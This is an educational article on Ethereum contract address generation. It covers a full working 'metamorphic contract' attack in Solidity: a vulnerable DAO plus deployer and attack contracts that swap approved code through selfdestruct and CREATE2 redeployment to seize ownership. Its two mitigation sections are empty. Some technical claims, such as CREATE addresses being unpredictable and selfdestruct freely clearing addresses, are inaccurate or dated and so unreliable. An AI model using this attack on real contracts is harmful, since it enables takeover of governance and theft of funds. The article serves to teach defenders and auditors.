A Guide to Deploying Different Contracts to the Same Address

·

In the Ethereum ecosystem, the deterministic generation of contract addresses offers significant advantages for developers. However, this same mechanism can also introduce potential attack vectors if not properly understood and managed. This article explores the technical principles behind deploying different contracts to the same address using the CREATE and CREATE2 opcodes, examines a real-world vulnerability pattern, and provides actionable mitigation strategies for developers and auditors.

Background Overview

Ethereum provides two primary opcodes for deploying smart contracts: CREATE and CREATE2. Each has distinct behaviors regarding how contract addresses are generated. While these features enable useful applications like counterfactual deployments and state channels, they also open up possibilities for exploitation if contracts are not designed with these nuances in mind.

Understanding Address Generation Mechanisms

The CREATE Opcode

CREATE is the original opcode used by the Ethereum Virtual Machine (EVM) for dynamic smart contract deployment. Since Ethereum's genesis block, all contract deployments have relied on this mechanism.

The key characteristic of CREATE is that address generation depends on the deployer account's nonce, making addresses non-deterministic (impossible to precisely predict before deployment).

The formula for CREATE-generated contract addresses is:

contract address = last 20 bytes of keccak256(RLP(sender, nonce))

The CREATE2 Opcode

CREATE2 was introduced in the Constantinople hard fork (February 2019) through EIP-1014. Unlike CREATE, this opcode allows off-chain participants to precompute contract addresses before deployment, enabling advanced applications like state channels and complex contract architectures.

The CREATE2 address generation formula uses four parameters:

contract address = last 20 bytes of keccak256(0xff || sender || salt || keccak256(init_code))

Address Collision Scenarios

A natural question arises: what happens if a calculated contract address already exists on-chain? Ethereum's EVM handles this scenario with specific rules:

Target Address is an External Account (EOA)

If the target address is an existing EOA (such as a user wallet address), the EVM will reject the contract deployment request. The transaction fails, gas is consumed, no contract is created, and no data at that address is overwritten.

Target Address is a Contract Account

If the target address already contains a deployed contract, the EVM similarly rejects the deployment request. The transaction fails, gas is consumed, and the existing contract's code and storage remain unchanged.

There is one exception to these rules: if a target address previously contained a contract that has been self-destructed, it becomes possible to deploy a new contract to that same address.

Vulnerability Example

Consider this simplified DAO contract implementing a basic governance mechanism:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract DAO {
    struct Proposal {
        address target;
        bool approved;
        bool executed;
    }
    
    address public owner = msg.sender;
    Proposal[] public proposals;
    
    function approve(address target) external {
        require(msg.sender == owner, "not authorized");
        proposals.push(Proposal({target: target, approved: true, executed: false}));
    }
    
    function execute(uint256 proposalId) external payable {
        Proposal storage proposal = proposals[proposalId];
        require(proposal.approved, "not approved");
        require(!proposal.executed, "executed");
        
        proposal.executed = true;
        (bool ok, ) = proposal.target.delegatecall(
            abi.encodeWithSignature("executeProposal()")
        );
        require(ok, "delegatecall failed");
    }
}

Vulnerability Analysis

This DAO contract appears to have proper permission controls (only the owner can approve proposals) and execution checks (proposals must be approved and not yet executed). However, it contains a subtle logical flaw: an approved proposal address might point to completely different contract code when executed versus when approved.

An attacker can exploit this vulnerability in three steps:

  1. Deploy a legitimate contract and obtain approval - The attacker first deploys Contract A with a harmless executeProposal() function and gets the owner to approve its address.
  2. Self-destruct the original contract and reclaim the address - The attacker calls selfdestruct on Contract A, then uses CREATE2 to deploy malicious Contract B to the same address.
  3. Trigger execution and hijack control - When users call execute(), the contract performs a delegatecall to the newly deployed malicious Contract B code, which can modify the DAO's state (such as changing the owner) or transfer assets.

Attack Contract Implementation

The complete attack involves several coordinating contracts:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract Proposal {
    event Log(string message);
    
    function executeProposal() external {
        emit Log("Executed code approved by DAO");
    }
    
    function emergencyStop() external {
        selfdestruct(payable(address(0)));
    }
}

contract Attack {
    event Log(string message);
    
    address public owner;
    
    function executeProposal() external {
        emit Log("Executed code not approved by DAO :)");
        owner = msg.sender; // Hijack control
    }
}

contract DeployerDeployer {
    event Log(address addr);
    
    function deploy() external {
        bytes32 salt = keccak256(abi.encode(uint256(123)));
        address addr = address(new Deployer{salt: salt}());
        emit Log(addr);
    }
}

contract Deployer {
    event Log(address addr);
    
    function deployProposal() external {
        address addr = address(new Proposal());
        emit Log(addr);
    }
    
    function deployAttack() external {
        address addr = address(new Attack());
        emit Log(addr);
    }
    
    function kill() external {
        selfdestruct(payable(address(0)));
    }
}

Step-by-Step Attack Process

  1. The DAO contract is deployed by Alice
  2. The attacker deploys the DeployerDeployer contract (address DD)
  3. The attacker calls DD.deploy(), which uses CREATE2 to deploy Deployer to address D (using a fixed salt)
  4. The attacker calls D.deployProposal(), creating Proposal contract at address P (Deployer's nonce is 0)
  5. Alice approves address P in the DAO contract
  6. The attacker calls D.kill(), destroying the Deployer contract and resetting its nonce to 0
  7. The attacker again calls DD.deploy(), redeploying Deployer to the same address D (same CREATE2 parameters)
  8. The attacker calls D.deployAttack(), which creates an Attack contract at address P (same as Proposal, since Deployer's nonce was reset to 0)
  9. The DAO's proposals array still points to address P, but it now contains the Attack contract, enabling the attacker to hijack control when execute() is called

The attack leverages CREATE2's ability to redeploy contracts to the same address combined with nonce resetting through selfdestruct, ultimately deploying malicious code to an address that was previously approved for a legitimate contract.

👉 Explore advanced security strategies

Mitigation Strategies

For Developers

For Auditors

Frequently Asked Questions

What is the fundamental difference between CREATE and CREATE2?

CREATE generates addresses based on the sender's address and nonce, making addresses unpredictable before deployment. CREATE2 uses the sender's address, a salt value, and initialization code hash, enabling deterministic address calculation before deployment.

Can any contract be redeployed to the same address?

Only if the original contract has been self-destructed. Ethereum prevents overwriting existing contracts or EOAs. The selfdestruct operation clears an address, making it available for new deployments.

How can developers prevent address manipulation attacks?

The most effective approach is to store and verify code hashes when recording contract addresses. Before interacting with a stored address, verify that its current code hash matches the expected hash from when it was approved.

Are CREATE2 addresses inherently less secure than CREATE addresses?

No, both mechanisms have appropriate use cases. CREATE2's deterministic nature enables valuable patterns like counterfactual deployments and state channels. Security issues arise when developers don't account for the possibility of redeployment to the same address.

What should I do if my project interacts with external contracts?

Implement robust verification mechanisms, consider using intermediate proxy contracts for critical interactions, and always assume external contracts might change or be replaced with malicious code.

How can salt values improve CREATE2 security?

Using unpredictable, randomly generated salt values prevents attackers from precomputing and preempting contract addresses. Avoid using easily guessable salt values like sequential numbers or predictable hashes.

Understanding the nuances of contract address generation is crucial for developing secure smart contracts. By implementing proper verification mechanisms and accounting for potential address manipulation, developers can build more robust and secure decentralized applications.